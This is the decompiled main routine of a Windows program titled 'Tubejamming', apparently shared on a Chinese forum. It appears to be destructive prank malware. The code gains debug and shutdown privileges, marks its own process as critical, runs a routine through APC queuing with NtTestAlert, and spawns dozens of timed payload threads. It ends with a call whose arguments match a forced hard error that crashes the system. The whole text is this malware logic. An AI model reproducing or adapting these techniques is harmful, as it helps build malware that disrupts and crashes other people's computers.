- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- HANDLE CurrentProcess; // eax
- HANDLE Thread; // edi
- HMODULE ModuleHandleA; // eax
- void (*NtTestAlert)(void); // ebx
- int v7; // edi
- int v8; // ebx
- int v10; // [esp+0h] [ebp-8h] BYREF
- if ( MessageBoxW(0, &Text, L"Tubejamming", 0x34u) != 6 || (v10 = 1, !dword_41A3BC) || !dword_41A3C4 )
- {
- _loaddll(0);
- LABEL_14:
- _loaddll(0);
- __debugbreak();
- }
- dword_41A3BC(20, 1);
- CurrentProcess = GetCurrentProcess();
- dword_41A3C4(CurrentProcess, 29, &v10, 4);
- Thread = CreateThread(0, 0, sub_401080, 0, 0, 0);
- ModuleHandleA = GetModuleHandleA("ntdll");
- NtTestAlert = (void (*)(void))GetProcAddress(ModuleHandleA, "NtTestAlert");
- QueueUserAPC((PAPCFUNC)pfnAPC, Thread, 0);
- if ( !NtTestAlert )
- goto LABEL_14;
- NtTestAlert();
- WaitForSingleObject(Thread, 0xFFFFFFFF);
- CloseHandle(Thread);
- CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4010C0, 0, 0, 0);
- v7 = 30;
- do
- {
- CreateThread(0, 0, sub_4012B0, 0, 0, 0);
- --v7;
- }
- while ( v7 );
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x1388u);
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x1388u);
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x2710u);
- CreateThread(0, 0, sub_401A70, 0, 0, 0);
- Sleep(0x4E20u);
- CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4018F0, 0, 0, 0);
- Sleep(0xEA60u);
- byte_419930 = 0;
- Sleep(0x1F4u);
- byte_419930 = 1;
- v8 = 20;
- do
- {
- CreateThread(0, 0, sub_4012B0, 0, 0, 0);
- --v8;
- }
- while ( v8 );
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x2710u);
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x2710u);
- CreateThread(0, 0, sub_401580, 0, 0, 0);
- Sleep(0x3E8u);
- CreateThread(0, 0, sub_4019D0, 0, 0, 0);
- Sleep(0x1388u);
- CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4011D0, 0, 0, 0);
- Sleep(0x2710u);
- CreateThread(0, 0, sub_4015A0, 0, 0, 0);
- Sleep(0x3A98u);
- CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4018F0, 0, 0, 0);
- Sleep(0x2710u);
- byte_419930 = 0;
- sub_401A90();
- if ( dword_41A3BC && dword_41A3B8 )
- {
- dword_41A3BC(19, 1);
- dword_41A3B8(-1073741824, 0, 0, 0, 6, &v10);
- }
- return 0;
- }
复制代码
|